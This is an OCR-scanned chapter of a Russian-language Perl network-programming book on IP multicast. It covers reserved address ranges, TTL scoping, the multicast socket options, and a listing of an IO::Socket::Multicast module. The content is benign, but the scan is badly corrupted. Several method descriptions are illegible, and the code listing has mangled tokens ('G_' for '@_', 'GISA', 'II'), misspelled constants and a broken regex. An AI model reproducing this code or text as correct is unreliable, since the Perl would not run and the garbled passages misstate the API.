Эти и многие другие инструментальные средства многоадресной рассылки с
открытым исходным кодом можно найти по адресу: http://www-mice.cs.ucl.ac.uk/
multimedia/software/.
Как и широковещательная рассылка, текущая реализация многоадресной
рассылки TCP/IP совместима только с протоколом UDP. Проводится также интенсивная
разработка ряда исследовательских проектов, предназначенных для удовлетворения
потребности в создании надежных средств многоадресной рассылки с установлением
логического соединения. Многоадресная рассылка описана в документах RFC 1112,
2236,1458 и других источниках, перечисленных в Приложении Г.
Зарезервированные адреса многоадресной
рассылки
На основании приведенного выше описания можно сделать вывод, что
пространство адресов многоадресной рассылки почти совсем не распределено. Однако дело
обстоит иначе. Некоторые диапазоны адресов зарезервированы для специального
назначения или отведены для определенных приложений. Эти адреса не доступны для общего
пользования (табл. 21.1). Те, кто проектирует новое приложение многоадресной
рассылки, а не разрабатывает клиент или сервер для существующего приложения, не
должны применять эти адреса для предотвращения возможных конфликтов.
612
Часть IV. Дополнительные темы
256 адресов в диапазоне от 224.0.0.0 до 224.0.0.255 зарезервированы для локальных
административных задач, в частности для обмена сообщениями между
маршрутизаторами. Сообщения, отправленные по этим адресам, никогда не выходят за пределы
локальной сети.
Таблица 21.1. Зарезервированные диапазоны многоадресной рассылки
Диапазоны адресов
Область применения или приложение
224.0.0.0-224.0.0.255
224.0.1.0-224.0.1.26
224.0.2.1
224.0.2.2
224.0.3.0-224.0.4.255
224.0.5.0-224.0.5.127
224.0.6.0-224.0.6.255
224.1.0.0-224.1.255.255
224.2.0.0-224.2.255.255
224.3.0.0-224.251.255.255
224.252.0.0-224.255.255.255
225.0.0.0-231.255.255.255
232.0.0.0-232.255.255.255
233.0.0.0-238.255.255.255
239.0.0.0-239.255.255.255
Локальное администрирование
Различные мультимедийные приложения и системы
управления базами данных
Служба "rwho" BSD
Служба RFC SUN
Система конференц-связи RFE
Группы CDPD
Проект Cornell ISIS
Группы многоадресной рассылки ST
Вызовы мультимедийной конференц-связи
Нераспределенные адреса
Временные группы DIS
Нераспределенные адреса
Временные группы VMTP
Нераспределенные адреса
Область распространения административных
сообщений
Адрес 224.0.0.1 принадлежит группе "для всех хостов". Сообщение, отправленное по
этому адресу, передается всем хостам в локальной сети, но не перенаправляется
маршрутизаторами многоадресной рассылки в другую сеть. Поэтому адрес группы для всех
хостов представляет собой многоадресный эквивалент широковещательного адреса.
Адрес 224.0.0.2 принадлежит группе "для всех маршрутизаторов". Все
маршрутизаторы, способные к многоадресной рассылке, должны присоединиться к этой группе
во время запуска.
Другие адреса в этом диапазоне зарезервированы для использования
маршрутизаторами конкретных типов. Например, адрес 224.0.0.4 относится к группе "для всех
маршрутизаторов DVMRP", к которой присоединяются все маршрутизаторы,
работающие по протоколу DVMRP. Адрес 224.0.0.5 зарезервирован для маршрутизаторов
OSPF, адрес 224.0.0.9 — для маршрутизаторов RIP2 и т.д.
Другие адреса в пространстве адресов многоадресной рассылки закреплены за
стандартными приложениями, и хотя многие из этих приложений не так уж широко
используются, не рекомендуется применять соответствующие адреса для других
целей. Более полный список стандартных адресов приведен по адресу:
http://www.isi.edu/in-notes/iana/assignments/multicast-addresses.
Три больших блока адресов многоадресной рассылки не распределены и вполне
могут применяться для разработки.
Глава 21. Многоадресная рассылка
613
■ 224.3.0.0-224.251.255.255 (16318464 адресов)
■ 225.0.0.0-231.255.255.255 (117440512 адресов)
■ 233.0.0.0-238.255.255.255 (100663296 адресов)
Адреса многоадресной рассылки и аппаратная
фильтрация
Как было указано в предыдущей главе, одним из недостатков широковещательной
рассылки является то, что она предусматривает обработку каждого пакета каждым
хостом локальной сети. В этом отношении многоадресная рассылка намного
эффективнее. После того как некоторое приложение присоединяется к группе
многоадресной рассылки, сетевая плата хоста настраивается на получение многоадресных
пакетов, предназначенных для этой группы. Процесс получения сетевой платой
сообщений, предназначенных для конкретной группы, называется "неидеальной аппаратной
фильтрацией". Причины, по которым выбрано такое название, описаны ниже.
Сетевая плата передает полученные пакеты операционной системе, которая затем
доставляет их соответствующему приложению (рис. 21.1).
Фильтрация, выполняемая сетевой платой, является "неидеальной", поскольку для
определения пакета, который должен быть принят, применяется алгоритм
хеширования. Этот алгоритм иногда допускает прохождение ненужных пакетов (не
предназначенных для той группы, к которой присоединился хост). Однако все ненужные пакеты
отбрасываются операционной системой на втором этапе, где происходит "идеальная
программная фильтрация". Поэтому многоадресная рассылка менее эффективна по
сравнению с одноадресной, в которой сетевая плата идеально отфильтровывает все
пакеты, не предназначенные для конкретного IP-адреса, но намного эффективнее
широковещательной, при которой плата вообще не отфильтровывает пакеты.
При разработке прикладной программы не стоит задумываться о том, что
представляет собой многоадресная аппаратная фильтрация; достаточно знать, что
интенсивное использование многоадресной рассылки не приводит к столь значительной
нагрузке, как широковещательная рассылка.
Многоадресная рассылка в глобальных сетях
В отличие от широковещательных пакетов, многоадресные предназначены для
маршрутизации. Многоадресные пакеты могут проходить из одной подсети в другую,
а также передаваться по глобальным сетям. Этим процессом управляет
специализированный протокол многоадресной маршрутизации.
В процессе присоединения приложения к группе многоадресной рассылки хост этого
приложения отправляет сообщение на локальный маршрутизатор, сообщая ему об этом.
После этого маршрутизатор перенаправляет многоадресные сообщения данной группы из
глобальной сети в подсеть, где находится хост. По мере того как к той же группе
присоединяются дополнительные хосты в подсети, маршрутизатор начинает следить и за
ними — пассивно, получая запросы на присоединение к группе, и активно, периодически
опрашивая подсеть для получения списков членов группы каждого хоста. При отмене
приложением регистрации в группе многоадресной рассылки хост этого приложения
отправляет сообщение о выходе из группы маршрутизатору локальной подсети. После
того как из группы многоадресной рассылки выйдет последний хост подсети,
маршрутизатор прекращает перенаправление соответствующих пакетов в подсеть.
614
Часть ГУ. Дополнительные темы
Приложение-источник
многоадресных
пакетов
Приложение-приемник
многоадресных
пакетов
Операционная
система
Операционная
система
Сетевая
плата
Операционная
система
I
Операционная
система
X
Сетевая
плата
Идеальная
V фильтрация
Сетевая
плата
Неидеальная
фильтрация
Сетевая
плата
Маршрутизатор
Сетевая
плата
А. Идеальная
X фильтрация
Сетевая
плата
Операционная
система
Сетевая
плата
А. Идеальная
X фильтрация
Операционная
система
Операционная
система
Приложение-приемник
многоадресных
пакетов
Рис. 21.1. Многоадресные пакеты фильтруются интерфейсной платой и проходят
через маршрутизаторы
Маршрутизаторы многоадресной рассылки периодически обмениваются
информацией о группах, которая позволяет определить, в каких группах желают
участвовать хосты, обслуживаемые соседними маршрутизаторами. В результате
маршрутизаторы совместно строят дерево, которое описывает пути распределения
многоадресных сообщений, предназначенных для конкретной группы. Это позволяет
эффективно распределять сообщения, передаваемые в группу многоадресной
рассылки, чтобы они попадали только в те подсети и на те хосты, которые
заинтересованы в их получении.
Однако для работы такой разветвленной сети необходимо иметь
маршрутизаторы, способные обеспечить многоадресную рассылку. Таковыми являются многие
новейшие маршрутизаторы, например, выпускаемые компанией Cisco Systems, однако
не все маршрутизаторы поддерживают многоадресную рассылку. Еще один вариант
Глава 21. Многоадресная рассылка
615
состоит в создании маршрутизатора на основе хоста UNIX, способного поддерживать
многоадресную маршрутизацию. Например, в последние версии операционной
системы Linux встроены возможности многоадресной маршрутизации, но это средство
обычно может быть разрешено только путем перетрансляции ядра. Чтобы
воспользоваться этим функциональным средством, необходимо также иметь программное
обеспечение демона маршрутизации mrouted.
Имеется также возможность обойти маршрутизатор, не поддерживающий
многоадресную рассылку, создав через него туннель с использованием обычных
одноадресных пакетов. Это можно сделать с помощью демона mrouted, но при условии, что он
работает на хостах в каждой подсети, которые должны получить совместный доступ
к многоадресным пакетам.
Для отправки или получения многоадресных пакетов по Internet можно построить
приватную сеть многоадресной рассылки, создавая туннели между локальными
сетями с помощью программного обеспечения демона mrouted или аналогичного
программного обеспечения. Иным образом, можно принять участие в общедоступной
сети многоадресной рассылки MBONE, которая используется неформальной
коалицией общественных и частных организаций для создания широковещательных служб на
основе Internet. Кроме предоставления магистральной сети многоадресной рассылки
в масштабах всей Internet, сетевая коалиция MBONE позволяет использовать услуги
простой службы анонсирования сеансов, по которой распространяются сообщения
о том, что запланировано проведение определенных общественных мероприятий,
например видеоконференций. Служба анонсирования сеансов предоставляет также
информацию об адресах и портах многоадресной рассылки, через которые будет
проходить сеанс, чтобы можно было правильно настроить клиентское программное
обеспечение для участия в нем.
Для присоединения к коалиции MBONE вам потребуется помощь со стороны
провайдера служб Internet и, возможно, сетевого провайдера. В Приложении Г
перечислено несколько источников информации о том, как настроить многоадресную
маршрутизацию и присоединиться к коалиции MBONE.
"Время жизни" пакетов многоадресной рассылки
Поскольку многоадресные сообщения могут маршрутизироваться, необходимо иметь
возможность ограничить их распространение. Например, вряд ли стоит допускать
многоадресную рассылку по Internet трафика, возникающего в процессе работы с графической
демонстрационной доской при проведении закрытых конференций в организации.
В многоадресной рассылке для определения области распространения сообщений
применяется простой, но эффективный метод. Каждый пакет содержит поле TTL (time-to-
live— время жизни), в котором может находиться любое целое положительное целое
число от 1 до 255. При пересечении пакетом каждого маршрутизатора значение TTL
уменьшается на единицу. После того как значение TTL достигает 0, пакет отбрасывается.
По умолчанию многоадресные пакеты имеют TTL, равный 1, а это значит, что они
не могут переходить из одной подсети в другую. Как только они достигают первого
маршрутизатора, TTL этих пакетов уменьшается до 0 и продолжительность их
действия истекает. При маршрутизации пакета необходимо установить для него более
высокое значение TTL. Как правило, пакеты могут проходить через маршрутизаторы,
которые уменьшают значение TTL проходящих пакетов на единицу.
Для более жесткого контроля над маршрутизацией многоадресных пакетов
организация может назначить "пороговые" значения для каждого исходящего интерфейса
616
Часть IV. Дополнительные темы,
многоадресного маршрутизатора. Маршрутизатор будет перенаправлять пакет, только
если его TTL имеет значение не ниже указанного порога. В качестве иллюстрации
рассмотрим гипотетическую организацию, схема сети которой представлена на рис. 21.2.
В этой организации три отдела, и каждый из них достаточно велик для того, чтобы
в нем было развернуто несколько подсетей. Подсети каждого отдела соединены с
помощью маршрутизатора отдела (маршрутизаторы отделов условно обозначены как А, В
и С), а для объединения отделов служит центральный маршрутизатор организации, D.
Маршрутизатор D действует так же, как шлюз в Internet. В маршрутизаторе каждого
отдела установлено применяемое по умолчанию для интерфейсов подсетей пороговое
значение, равное 1, а для интерфейса, через который он соединяется с центральным
маршрутизатором, — пороговое значение 3. Точно так же для интерфейса, через
который центральный маршрутизатор соединяется с Internet, установлено пороговое
значение 31. Такая настройка позволяет контролировать область распространения
пакетов, устанавливая для них соответствующее значение TTL. Пакеты с TTL от 1 до 3
маршрутизируются в пределах подсетей отдела, но не могут попасть в другие отделы,
поскольку не соответствуют пороговому значению 3, которое требуется для
прохождения через маршрутизатор отдела. Пакеты с TTL от 4 до 32 могут передаваться из одного
отдела в другой, но не могут выходить в Internet. Пороговые значения маршрутизатора
управляют областью распространения трафика, создаваемого приложениями
многоадресной рассылки, исключая возможность перехода пакетов, предназначенных для
подсети отдела или организации, в иные подсети.
©
Маршрутизатор А
31
Направление
движения пакета
Маршрутизатор D
ОН
Маршрутизаторе
Маршрутизатор В
ю
Рис. 21.2. Пороговые значенья TTL в исходящих интерфейсах маршрутизаторов позволяют
управлять областью распространения многоадресных сообщений
Глава 21. Многоадресная рассылка
617
В табл. 21.2 перечислены широко применяемые пороговые значения TTL и связанные
с ними области распространения. Эти значения заданы условно, и точное определение
того, что означает "узел", "организация" или "отдел", оставляем на ваше усмотрение.
Таблица 21.2. Широко применяемые пороговые значения TTL
Значение TTL Область распространения многоадресного пакета
0 Ограничена тем же хостом
1 Ограничена той же подсетью
<32 Ограничена тем же узлом, организацией или отделом
<64 Ограничена тем же географическим регионом
<128 Ограничена тем же континентом
<255 Не ограничена; пакет может распространяться в глобальном масштабе
Применение многоадресной рассылки
В оставшейся части этой главы показано, как использовать многоадресную
рассылку в приложениях Perl.
Отправка многоадресных сообщений
Отправка многоадресного сообщения состоит в создании сокета UDP и отправке
сообщения по желаемому адресу многоадресной рассылки. В отличие от
широковещательных сообщений, для отправки многоадресных не нужно заранее получать
разрешение от операционной системы.
Напомним, что в главе 20 мы смогли найти все хосты в локальной подсети,
выполняя эхо-тестирование широковещательного адреса. Этот же прием можно
использовать для поиска всех хостов, способных воспринимать многоадресные сообщения,
путем отправки пакета в группу для всех хостов, 224.0.0.1.
% ping 224.0.0.1
PING 224.0.0.1 (224.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=1.0 ms
64 bytes from 143.48.31.47: icmp_seq=0 ttl=255 time=l.2 ms (DUP!!
64 bytes from 143.48.31.46: icmp_seq=0 ttl=255 time=l.3 ms (DUP!!
64 bytes from 143.48.31.55: icmp_seq=0 ttl=255 time=l.5 ms (DUP!;
64 bytes from 143.48.31.43: icmp_seq=0 ttl=255 time=1.7 ms (DUP!!
64 bytes from 143.48.31.61: icmp_seq=0 ttl=255 time=1.9 ms (DUP!!
64 bytes from 143.48.31.33: icmp_seq=0 ttl=255 time=2.1 ms (DUP!]
64 bytes from 143.48.31.36: icmp_seq=0 ttl=255 time=2.2 ms (DUP!!
64 bytes from 143.48.31.45: icmp seq=0 ttl=255 time=2.8 ms (DUP!!
64 bytes from 143.48.31.32: icmp_seq=0 ttl=255 time=3.0 ms (DUP!!
64 bytes from 143.48.31.48: icmp_seq=0 ttl=255 time=3.1 ms (DUP!!
64 bytes from 143.48.31.58: icmp_seq=0 ttl=255 time=3.3 ms (DUP!!
64 bytes from 143.48.31.57: icmp_seq=0 ttl=255 time=3.5 ms (DUP!!
64 bytes from 143.48.31.40: icmp_seq=0 ttl=255 time=3.7 ms (DUP!!
64 bytes from 143.48.31.39: icmp_seq=0 ttl=255 time=3.9 ms (DUP!!
64 bytes from 143.48.31.31: icmp_seq=0 ttl=255 time=4.0 ms (DUP!!
64 bytes from 143.48.31.34: icmp_seq=0 ttl=255 time=4.5 ms (DUP!;
618
Часть IV. Дополнительные темы
64 bytes from 143.48.31.37: icmp_seq=0 ttl=255 time=4.7 ms (DUP!)
64 bytes from 143.48.31.38: icmp_seq=0 ttl=255 time=4.9 ms (DUP!)
64 bytes from 143.48.31.41: icmp_seq=0 ttl=64 time=5.1 ms (DUP!)
64 bytes from 143.48.31.35: icmp_seq=0 ttl=255 time=5.2 ms (DUP!)
Как и в приведенном ранее примере широковещательной рассылки, на сообщение
эхо-тестирования ответило несколько сетевых устройств, включая логическое
устройство с драйвером петли обратной связи (127.0.0.1) и ряд компьютеров UNIX
и Windows. Однако в отличие от примера широковещательной рассылки, на пакет
многоадресной рассылки не ответили два лазерных принтера, вероятно потому, что
они не способны принимать многоадресные пакеты. Аналогичным образом можно
выполнить эхо-тестирование адреса 224.0.0.2 группы всех маршрутизаторов для
поиска в локальной сети маршрутизаторов, способных выполнять многоадресную
рассылку, адреса 224.0.0.4 — для поиска маршрутизаторов DVMRP и т.д.
Для отправки многоадресного сообщения в сценарий Perl достаточно создать сокет
UDP и отправить через него сообщение по желаемому адресу группы. Для иллюстрации
этого можно использовать клиент широковещательной службы эхо-повтора, описанный
в предыдущей главе (листинг 20.1), для поиска всех хостов в локальной подсети,
способных принимать многоадресные сообщения от эхо-сервера. Эта программа не
требует изменений; вместо предоставления широковещательного адреса в качестве
параметра командной строки, достаточно указать адрес группы для всех хостов.
% broadcast echo_cli.pl 224.0.0.1
hi there
received 9 bytes from 143.48.31.42:7
received 9 bytes from 143.48.31.30:7
received 9 bytes from 143.48.31.40:7
Интересно то, что список серверов, ответивших на запрос клиента службы эхо-
повтора, гораздо короче списка, полученного в результате широковещательной
проверки службы эхо-повтора, проведенной в предыдущей главе. После небольшого
исследования было обнаружено, что в список не вошло девять компьютеров Solaris,
ядро которых не настроено на выполнение многоадресной рассылки. Очевидно, что
в ядро этих компьютеров был встроен код поддержки многоадресной рассылки
достаточно низкого уровня для того, чтобы они могли отвечать на сообщения ICMP, но
недостаточно высокого для полной поддержки многоадресной рассылки.
Опции сокета для отправки многоадресного
пакета
По умолчанию при выдаче многоадресное сообщение отправляется через
применяемый по умолчанию интерфейс с TTL, равным 1. Кроме того, оно возвращается по
петле обратной связи на тот же хост, откуда оно было отправлено, по такому же
принципу, как и широковещательные сообщения. В программе можно изменить одно
или несколько этих значений, применяемых по умолчанию, с использованием набора
из трех опций сокета уровня IP, которые предназначены специально для управления
многоадресной рассылкой.
■ IP_MULTICAST_TTL. Опция IP_MULTICAST_TTL позволяет получить или
установить TTL для исходящих пакетов в данном сокете. Она может иметь
целочисленное значение от 1 до 255, упакованное в двоичное значение с
использованием формата "I".
Глава 21. Многоадресная рассылка
619
■ IP_MULTICAST_LOOP. Опция IP_MULTICAST_LOOP переводит в активное или
неактивное состояние свойство возврата многоадресных сообщений на
локальный хост. Если эта опция установлена равной истинному значению, то она
вызывает возврат исходящих многоадресных сообщений на локальный хост
так, что их может принять и данный хост (значение по умолчанию). Если она
имеет ложное значение, такая операция подавляется. Обратите внимание, что
эта опция не имеет ничего общего с интерфейсом петли обратной связи.
■ IPJMULTICAST_IF. Опция сокета IP_MULTICAST_IF позволяет управлять тем,
через какой сетевой интерфейс будет отправлено многоадресное сообщение. Это во
многом аналогично тому, как происходит управление областью распространения
широковещательных пакетов путем выбора соответствующего
широковещательного адреса. Для установки значения этой опции применяется упакованный IP-адрес
интерфейса, созданный с помощью функции inet_aton (). Если интерфейс явно
не установлен, операционная система сама выбирает подходящее значение.
В операционной системе Linux при использовании функции getsockopt () для
выборки значения опции IP_MULTICAST_IF нужно знать небольшой "секрет". Эта
операционная система в качестве параметра функции setsockopt () принимает
упакованный 4-байтовый адрес интерфейса, но возвращает 12-байтовую структуру
ip_mreqn, полученную в результате вызова функции getsockopt () (описание
соответствующей ей структуры ip_mreq приведено ниже). Это недокументированное
правило представляет собой программную ошибку, которая должна быть исправлена
в ядре версии 2.4 или последующих версиях. Эта особенность функции учтена в
модуле 10: :Multicast, который описан в следующем разделе.
В отличие от тех опций сокета, которые мы до сих пор рассматривали, опции
многоадресной рассылки применяются не к уровню сокета стека протоколов,
S0L_S0CKET, а к уровню IP-протокола (который отвечает за маршрутизацию пакетов
и выполнение других функций, касающихся IP-адресов). Функциям getsockopt ()
и setsockopt () должен быть также передан номер протокола для уровня IP,
который может быть выбран путем вызова функции getprotobyname () с
использованием ' IP' в качестве имени протокола. В следующем примере показано, как отключить
опцию возврата пакетов на локальный хост для сокета $ sock.
my $ip_level = getprotobyname("IP')
or die "Can't get protocol: $!";
setsockopt($sock,$ip_level,IP_MULTTCAST_LOOPBACK,0);
Поскольку метод 10: : Socket->sockopt () предназначен для работы на уровне
SOL_SOCKET, он не может применяться для опций многоадресной рассылки. Однако могут
использоваться методы setsockopt () и getsockopt ()модуля IO:: Socket, которые
представляют собой тонкие оболочки для вызовов основополагающих функций Perl.
Константы опций многоадресной рассылки определены в системном файле
заголовка netinet/in.h. Чтобы получить доступ к соответствующим значениям
операционной системы, необходимо преобразовать системные файлы заголовков с
помощью инструментального средства h2ph.
Прием многоадресных сообщений
Для отправки многоадресных сообщений применяется сочетание адреса группы
многоадресной рассылки и номера порта. Для их получения необходимо создать
в программе сокет UDP, привязать его к соответствующему порту, а затем соединить
сокет с одним или несколькими адресами многоадресной рассылки.
620
Часть IV. Дополнительные темы
Единственный сокет может принадлежать одновременно нескольким группам
многоадресной рассылки, и в этом случае сокет получает все сообщения, отправленные в любую
группу, которой он в настоящее время принадлежит. Сокет продолжает также получать
сообщения, направленные в его одиночный адрес. Число групп, которым может
принадлежать сокет, лимитируется операционной системой; как правило, это значение равно 20.
Для присоединения к группе многоадресной рассылки или выхода из нее
применяются две новые опции сокета: IP_ADD_MEMBERSHIP и IP_DROP_MEMBERSHIP.
■ IP_ADD_MEMBERSHIP. Эта опция позволяет присоединиться к группе
многоадресной рассылки, а затем получить все передачи группы, направленные в порт,
к которому привязан сокет. Данная опция может принимать значение
упакованной двоичной строки, содержащей желаемый адрес многоадресной
рассылки, соединенный с адресом локального интерфейса (для. ее получения
применяется структура С с именем ip_mreq). Это позволяет не только управлять тем,
к какой группе многоадресной рассылки нужно присоединиться, но и
определять, через какой интерфейс должны быть получены эти сообщения. Если вы
желаете получать многоадресные передачи через любой интерфейс, то
установите INADDR_ANY в качестве адреса локального интерфейса.
Исходящий интерфейс многоадресной рассылки (установленный опцией
IP_MULTICAST_IF) никоим образом не связан с интерфейсом, применяемым
для получения многоадресных пакетов. В программе можно посылать
многоадресные пакеты через один сетевой интерфейс и принимать через другой.
■ IP_DROP_MEMBERSHIP. Эта опция позволяет выйти из группы многоадресной
рассылки и прекратить членство в ней. Для установки этой опции
применяются значения, аналогичные используемым в опции IP_ADD_MEMBERSHIP.
Напомним, что опции IP_MULTICAST_IF, IP_ADD_MEMBERSHIP и
IP_DROP_MEMBERSHIP относятся к уровню IP, поэтому в вызове функции
setsockopt () должен быть указан уровень опции, соответствующий номеру
протокола IP, возвращенному функцией getprotobyname ().
Последние опции могут показаться более сложными в использовании, чем есть на
самом деле. Единственная сложность состоит в подготовке параметра ip_mreq для
передачи функции setsockopt (). Для этого необходимо передать адрес группы
функции inet_aton(), а затем объединить полученный результат с константой
INADDR_ANY. В приведенном ниже фрагменте кода показано, как присоединиться
к группе многоадресной рассылки, на этот раз с адресом 225.1.1.3.
my $mcast_addr = inet_aton('225.1.1.3") ;
ту $local_addr = INADDR_ANY;
my $ip_mreq = $mcast_addr . $local_addr;
my $ip_level = getprotobyname('IP*)
or die "Can't get protocol: $! " ;
setsockopt($sock,$ip_level,IP_ADD_MEMBERSHIP, $ip_mreq)
or die "Can't join group: $!";
Для выхода из группы выполняется аналогичное действие, но с использованием
константы IPDROPMEMBERSHIP. Перед выходом из программы можно не отменять
регистрацию во всех группах. Об этом позаботится операционная система при
уничтожении сокета.
В данном случае не существует способа запросить у операционной системы
информацию о том, к какой группе многоадресной рассылки принадлежит данный
сокет. За этим приходится следить самостоятельно.
'Глава 21. Многоадресная рассылка
621
Модуль 10: :Socket:: Multicast
8 настоящем разделе разработан небольшой модуль, который значительно
упрощает получение и установку опций многоадресной рассылки. Как и модуль
10: : Interface, описанный в предыдущей главе, данный модуль разработан только
на языке Perl и позволяет получить системные константы из файлов .ph,
сгенерированных с помощью инструментального средства h2ph. Версию модуля
10: : Multicast на языке С можно получить из архива CPAN, и если в вашей системе
установлен транслятор С или C++, автор рекомендует установить этот модуль, чтобы
не пришлось заниматься сложными действиями со сценарием h2ph.
Модуль 10: : Socket: Multicast — потомок модуля 10: : Socket: : INET. В нем
реализованы все методы родительского объекта и добавлено несколько новых,
относящихся к выполнению многоадресной рассылки. Для удобства этот модуль
по умолчанию предусматривает применение для новых объектов сокета
протокола UDP, а не TCP.
$)eocket->mcast_tti([$ttli) "^^ ' " V5;':''~ " "~v'f -~т"*ж~ s 'if1'-- ""•"• |
Этот метод позволяет получить или установить "время жизни" многоадресных пакетов сокета.
При указании целочисленного параметра он применяется для установки TTL и возвращает истинное
значение, если попытка оказалась успешной. При использовании без параметра метод
mcastjtti () возвращает текущее значение TTL
$ socket->mcast_loopback< f$boolean])
Данный метод позволяет получить или установить свойства возврата исходящих многоадресных
пакетов на локальный хост. Чтобы разрешить возврат пакетов на локальный хост, в качестве пярп-
• метра должн j быть-указано истинное значение, в ином случае,— ложное. Этот метод при услешмэм
выполнении возвращает истинное значение. При вызове'без параметра— текущую установку
возврата пажетгв.
eeock<?t->mcaet_ir ([tif ])
Этот, метод позволяет получить или установить интерфейс для исходящих многоадресных паке-
тсег. Дли удобства мгжнс использовать ли£с имя логического устройства интерфейса, таксе как
eih., либо адрес интерфейса в -виДе четырех чисел, разделенных течками. Если попытка
установить интерфейс была успешной,, метод возвращает истинное значение. При еыэоье без параметра
'он сезерзщает текущий интерфейс,, в если интерфейс не установлен"— значение unief (e этом
случае операционная система ёыбйрает подходящий интерфейс автоматически).
$ecckat->mcast_add(8multica«t_5rcup[,?lnterface])
Этот метод позволяет присоединиться к группе многоадресной рассылки, после чего в сосет
начинают поступать сообщения, отправленные в эту группу с немощью многоадресной рассылки.
Адрес группы должен быть указан в (виде четырех чисел, разделенных точками (например,
"225.г. .3"). Необязательный второй параметр позволяет сообщить операционной системе;
какой сетевей интерфейс должен применяться для излучения сообщений группы. Если он не
указан, операционная система принимает сообщения через сое интерфейсы, способные принимать
многоадресные сообщения. Дли удобства можно ислользееать имя устройства интерфейса или
адрес интерфейса
Этот Метод воззращает истинное знэчение. если сокет был успешно присоединен к группе;
[ в иноМ случае сн гозврлщэет ложное значение. В случае аварийного' завершения переменная,^!
1 содержит дополнительную* информацию.
Метод facast_ar!d:<) межет вызываться неоднократно для присоединения к нескольким группам
9 eock6t->iEcast_drci. t$mul txca»t^grcup( , S interface] )
Этот метод позволяет отказаться от членства и группе мнгрг адресной рассылки и запретить
прием сскетом сообщений для данной группы' Группа должна быть обозначена с немощью ее
адреса в видь четырех чисел, разделенных точками Если в рызоге метода ncast_4M(),,был указан' ин-
622
Часть ГУ. Дополнительные темы
терфейс, он должен рыть указан и при выходе из группыг Для указания интерфейса, может
использоваться имя логические устройства или IP-адрес. Эт тюе^од возвращает истинное значение, если
гэьро£ из группы* ^ыл 1ыполнен успешно, и ложное — в случае ошибки, такси кяк пепыткл кыходя из
группы, которой сокет уже не принадлежит.
В листинге 21.1 приведен полный код модуля 10: :Socket::Multicast.
Рассмотрим основные его компоненты.
ЛИСТИНГ 21.1. МОД ЛЬ IO: :Socket: .-Multicast
0: package IO::Socket::Multicast;
1: # Файл: IO/Socket/Multicast.pm
18
19
20
21
22
23
24
25
26
27
28
29
use strict;
use Carp 'croak';
use IO::Interface 'IFF_MULTICAST';
use vars qw($VERSION GISA);
6: GISA = qw(IO::Socket::INET);
7: $VERSION = Ч.ОО';
8: # Такой порядок расположения операторов импорта позволяет
# исключить предупреждающие сообщения о перенаправлении
9: require IO::Socket;
10: 10::Socket->import('inet_aton','inet_ntoa');
11: require "netinet/in.ph";
12: my $IP_LEVEL = getprotobyname('ip') II 0;
13: sub new {
14: my $class = shift;
15: unshift G_,(Proto => 'udp') unless G_;
16: $class->SUPER::new(G_);
17: }
sub configure {
my($self,$arg) = G_;
$arg->{Proto} ||= 'udp';
$self->SUPER::configure($arg);
}
sub mcast_add {
my $sock = shift;
my $mcast_addr = shift || croak 'usage:
$sock->mcast_add($mcast_addr [,$interface])';
my $local_addr = get_if_addr($sock, shift);
my $ip_mreq = inet_aton($mcast_addr).inet_aton($local_addr);
setsockopt($sock, $IP_LEVEL,IP_ADD_MEMBERSHIP(), $ip_mreq);
}
Это до определенной степени зависит от операционной системы. В некоторых операционных системах,
если интерфейс неуказан, она отменяет членство в первой найденной ею группе многоадресной рассылки с тем
же адресом. В других операционных системах параметр с указанием интерфейса в методе mcast_add ()
должен полностью совпадать с параметром eu3oeaM£modamcast_drop ().
Глава 21. Многоадресная рассылка 623
30: sub mcast_drop {
31: my $sock = shift;
32: my $mcast_addr = shift || croak "usage:
$sock->mcast_drop($mcast_addr [,$interface])';
33: my $local_addr = get_if_addr($sock,shift);
34: my $ip_mreq = inet_aton($mcast_addr).inet_aton($local_addr);
35: setsockopt($sock,$IP_LEVEL,IP_DROP_MEMBERSHIP{),$ip_mreq);
36: }
37: sub mcast_if {
38: my $sock = shift;
39: if (G_) { # Установить исходящий интерфейс
40: my $addr = get_if_addr($sock,shift);
41: return setsockopt
($sock,$IP_LEVEL,IP_MULTICAST_IF(),inetaton($addr));
42: ) else { # Получить исходящий интерфейс
43: return unless my $result =
getsockopt($sock,$IP_LEVEL,IP_MULTICAST_IF());
44: $result = substr($result,4,4) if length $result > 4;
45: return find_interface($sock,inet_ntoa($result));
46: }
47: }
48: sub mcast_loopback {
49: my $sock = shift;
50: if (@_) { # Установить флажок петли обратной связи
51: my $enable = shift;
52: return setsockopt($sock,$IP_LEVEL,IP_MULTICAST_LOOP(),
$enable ? 1 : 0);
53: } else {
54: return unpack 4*,getsockopt
($Sock,$IP_LEVEL,IP_MULTICAST_LOOP{) );
55: }
56: }
57: sub mcast_ttl {
58: my $sock = shift;
59: if (G_) { # Установить TTL
60: my $hops = shift;
61: return setsockopt($sock,$IP_LEVEL,IP_MULTICAST_TTL(),
pack 4',$hops);
62: } else {
63: return unpack 'I',getsockopt
($Sock,$IP_LEVEL,IP_MULTICAST_TTL() );
64: }
65: }
66: sub get_if_addr {
67: my ($sock,$interface) = G_;
68: return '0.0.0.0' unless $interface;
69: return $interface if $interface =~ /~\d+\-\d+\.\d+\.\d+$/;
70: croak "unknown or unconfigured interace $interface"
71: unless my $addr = $sock->if_addr($interface);
72: croak "interface is not multicast capable"
73: unless $sock->if_flags($interface) & IFF_MULTICAST;
74: return $addr;
75: }
624
Часть IV. Дополнительные темы
76
77
"78
79
80
81
82
83:
sub find_interface {
my ($sock,$addr) = G_;
foreach ($sock->if_list) {
return $_ if $sock->if_addr($_) eq $addr;
}
return; # He удалось найти интерфейс
}
Проведем анализ программы.
Строки 1-7. Настройка модуля. Первая часть модуля состоит из стандартных объявлений
модуля и прочего рутинного кода. В частности, загружается модуль io:: interface,
описанный в предыдущей главе, а данный модуль объявляется как подкласс класса
IO::Socket::INET.
Строки 8-12. Загрузка модуля Socket и определений .ph. Загружаются функции из модуля
Socket и файла netinet/in.ph. Как и в модуле IO::Interface, для предотвращения
появления предупреждений о конфликте имен функций в результате загрузки дубликатов
функций, определенных в файле .ph, метод import () модуля socket вызывается вручную. Файл
netinet/in.ph содержит определения различных опций сокета iff_multicrst.
Вызывается функция getprotobyname () для выборки номера протокола IP, применяемого
в функциях setsockopto и getsockopt о.Если номер протокола по каким-то причинам не
мог быть получен, он устанавливается по умолчанию равным 0. Таково обычное значение,
применяемое для константы с номером протокола.
Строки 13-22. Методы new() и configure(). Данные методы модуля IO::Socket: :IMET
перекрываются с тем, чтобы протокол UDP применялся по умолчанию, если параметр Proto
яано не задан.
